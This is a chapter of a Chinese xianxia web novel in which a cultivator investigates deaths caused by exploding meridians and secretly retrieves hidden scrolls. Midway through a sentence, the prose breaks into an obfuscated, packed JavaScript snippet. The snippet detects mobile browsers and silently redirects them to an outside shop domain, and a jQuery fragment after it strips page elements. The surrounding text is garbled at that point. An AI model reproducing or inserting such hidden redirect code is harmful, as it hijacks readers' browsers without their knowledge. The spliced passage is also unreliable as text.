上一次在玄玉楼见到他们,还好端端的,不过片刻功夫,就惨死在此处。
“是妖修做的吗?”
宋清钺把视线放到死者破烂不堪的躯体上问道。
妖修由百兽化形而来,残存兽性,手段保留野兽扑食的特性,面前二人躯体状态正好符合。
但据此思路推断,二人灵力溃散和神魂消散的情况又无法解释。
“不是,是道修可能性更大。”宋清钺转身,便看到一穿着白的亮眼的修士,正在往手上套手套。
这人……是苍生道的叶若微,前生没跟他打过交道。
但跟她又有点关系,在紫阳真人收她进上清无情宗前,收过叶若微,大概无情道太过枯燥,改修了苍生道。
所以叶若微算是她师兄。
“死者周身皮肤沿人体十二正经、任督二脉走向,布满细密炸裂血痕。”
“膻中、百会、丹田、涌泉等周身核心主穴呈爆裂性创口,血肉外翻、肌理碎裂,是灵力最先溃破外泄的点位。”
叶若微凑近死者,捏了捏死者二人手肘和膝盖处的关节,继续说道:“周身骨骼完好,四肢关节无错位,但全身经脉彻底寸寸崩断、化为虚无。”
然后又扒开了死者的嘴巴和眼球:“七窍溢血,体表毛细血管尽数炸裂,血色暗沉淤紫。”
“典型灵力逆行倒灌,冲毁全身主脉络与要害穴位,内源暴体致死。”
叶若微沉了一口气,脱下手套,说出自己的判断:“凶手熟稔灵脉穴位,做事干净有章法。”
“魔妖鬼三道修炼方式各有不同,唯有道修,可精准定向引爆经脉致人死亡,造成灭魂的状态。”
宋清钺顺着叶若微的思路,重新观察死者伤口处的裂痕,越发觉得二人死状凄惨。
不禁在心中为二人默哀,到底是多大的仇怨,竟要人经脉爆裂,魂飞魄散。
沈绯不经意间嗤了一声,“这很正常,道修门派之间党同伐异,这二人上午还在玄玉楼拍卖自家典籍,换取灵石,准备东山再起,灵石刚到手,就被仇家发现,死到这儿了。”
“沈兄,你说他们去了玄玉楼?”叶若微抓取沈绯话中重点。
“在今天上午?”
“怎么了,很奇怪吗?”沈绯继续补充道,“玄玉楼应当有他们的出入登记。我去的时候,他们刚要离开。”
“什么时辰?”
“巳时中。”
叶若微脸色骤变,正色道:“沈兄,你跟我过来,我有事情要跟你说,跟蚀枢上卿有关。”
沈绯表情变得极为严肃,转身对宋清钺嘱托了一句“你自己先待一会儿,站在原地,不要乱走,我马上过来找你。”
就与叶若微原地起飞离开。
宋清钺看向天际,不见二人踪影,瞬间松了一口气。
方才她还想着支开沈绯,取出墙后的典籍,这下省了事。
此时她站在藏书阁的塔顶,飞身从塔沿跳下去,正好能落在下一层,进入其中。
推门进入,藏书阁空荡荡的,连书架子都看不到,很是空寂,但这些宋清钺顾不得留意。
抬手便要将门向后拨开,目光向后探去。
“啊……别杀我,我什么都没看见!”
门后缩着一名妇人,浑身战栗,双手慌乱地连连摇摆,已然吓得魂飞魄散。
“我不过是不小心出现在此处的,上卿饶命,切莫对我下手,宝典的下落我委实不知。”
“我并非来取你性命。”宋清钺抬手合上门扇,妇人彻底暴露出来,再无半分遮掩。
妇人像是被掐住脖子,提起来的猫,一阵手打脚踢之后,并没没有出现预想中的虐待,开始平静下来。
等妇人安定下来,睁开了眼睛,宋清钺觉得此人无比眼熟。
“姑娘,是你。”
妇人镇定下来声音,让宋清钺觉得分外耳熟,又瞧妇人脸上擦着粉,身上的大红衣服,才恍然警觉此人,是押送花轿的媒婆。
“你为何躲在此处?”
以媒婆的修为,在青梧门灭门发生时,逃跑并不成问题,怎么会随便的躲在门后。
“我的灵根被废了。”媒婆捂着自己丹田痛苦的说道。
口中丝丝的抽气,那本源道基碾碎的钝痛,还在折磨她的心神。
“根本御不了剑,现在跟一个普通的凡人没区别,跑又跑不掉,只能躲在这藏书阁门后,希望这门上的禁制能暂时护住我一条小命。”
宋清钺抬头,枣红色大门上,粗糙的雕刻上的确存在零星灵力,但由于这门的年头太久,估计早就失去了效用。
塔顶上的两个经脉爆裂而亡,面前这一个灵根被废,连呼吸都困难。
坏人经脉,废人灵根。对道修来讲,清醒承受着钝刀慢割,眼睁睁看着经脉一点点的崩坏,灵根从丹田中堙灭。
其痛苦程度,不亚于凡人的凌迟处死。
到底是谁用这等灭绝人性的手段,迫害他人。
“被谁废了。”
宋清钺将手掌抵在媒婆的丹田处,输送灵力,缓解她的痛苦。
灵力流过丹田,暂时减缓了腹部的绞痛,媒婆也有力气说话了。
“是……”媒婆左右看了看,凑到宋清钺耳边低声说道:“蚀枢上卿。”
这是谁?
前生没听过。
道修尊号多为以修为境界划分,练气道仙师
、筑基上人、金丹真人、元婴真君、化神尊者、
炼虚上卿、合体道君、大乘尊主、渡劫仙尊。
蚀枢上卿大概是炼虚境的修士,青梧门是小门派,资源有限,云千鹤作为少主,五十岁堪堪筑基,跟随老者也不过是元婴。
作为一个炼虚境的修士,灭掉这群人太简单了,为什么要选择费功夫折磨他们。
“他盯上了青梧门的一本典籍,门主造假糊弄了他。”媒婆气若游丝伏在宋清钺耳边说道。
“才遭此劫难。”
“什么典籍?”
该不会是天道使者提到的那本吧。
“姑娘,别白费力气了。”媒婆的有气无力的推动宋清钺。
“我……”
宋清钺听的一阵火烧引线似的噗滋噗滋声,素白的衣襟上多了几滴殷红的血点,来自于媒婆的鼻尖。
血滴汇集变为小血流
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943160|213991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,眼角嘴边耳洞也开始渗出血流,面容扭曲着
“不。”
“不,不,上卿饶命。”
媒婆似回光返照一般,大声的叫唤起来,的全身骨骼嘎吱嘎吱作响,声音愈来愈大。
“好疼,我的骨头,我的经脉在崩坏。”
“求求你……”
“饶命……”
……
媒婆的手开始在身上乱抓,胸前的衣襟大开,皮肤已经开始裂开,靠近还能听到噼啪噼啪的开裂声。
由内而外,经脉爆裂!?
宋清钺蹙了蹙眉,死因一样。
媒婆的嚎叫之声尽显凄厉,血脉在逆流,七窍血流不止,渴求着宋清钺。
“求你,给我一个痛快。”
“好。”
宋清钺掌心化出冰刀,寒芒点点,凡俗界最锋利的钢刀也不上这点寒芒纯粹。
在一息之间,径直插入颈间动脉,血流如注,断了媒婆的呼吸,
凄厉的惨叫瞬时沉寂,宋清钺站在原地沉默良久,看着媒婆被冰刃划过的皮肉,切面顺滑完整,出手之人利落干脆。
证明她在出手时没有犹豫,心底没有泛起任何涟漪。
可她在刚才,在看到媒婆扭曲的身躯时,听到她血脉崩坏的声音时,听到她经脉爆裂的声响时,心底生了动荡。
恍惚之间,九天灭世雷劫降诛于她,万道法则倾泻而下的记忆,如奔涌的海浪一般向她袭来,刻在骨子里的锐痛,刺的她逃不得,躲不得。
一切的一切,她都在感同身受,她的躯体跟随着媒婆扭曲,心情也随着媒婆动荡。
冷眼观浮沉,世上纷纷扰扰自有因果,无情之道,不染因果,她的道心开始变化了。
在刚才,居然有一刻,她居然想着救人,事实上她也这么做了,明知媒婆的情况,已经救无可救了。
“还愣着干什么?快去门后拿典籍。”
识海之中的天道使者将她拉回现实,童声童气的指使她。
“别忘了是第三块砖。”
“还有敲三下。”
邦邦三声过后,青砖凸出,宋清钺扒开,三卷典籍破土而出。
三卷典籍,皆用小篆书写,上面灵力随着字迹流转,是上等典籍书写习惯。
正待宋清钺要细细品味一番,听得外面说话声。
“沈兄抱歉,你婚礼那天我正在给扈娘子接生,等我看到请帖的时候,再去已经来不及了。”
“别看了。”
天道使者焦急提醒道:“有人来了,快把典籍藏起来。”
等沈绯他们推开门进来时,宋清钺已经把典籍藏到了怀中。
“这位就是夫人吧。”叶若微礼节性的拱了拱手,“刚才没留意,多有失礼。”
宋清钺亦微微敛袖,抬手还了一礼,神色平和:“叶仙长言重了,是我不识仙长,该是我失礼才对。”
“久闻仙长见识广博,今日得见,实属有幸。”
还好当初她为应付各种场合,对各种场面话研究过一番,倒也能应对自如。
不知叶若微是什么境界,反正比自己境界高,叫仙长总没错。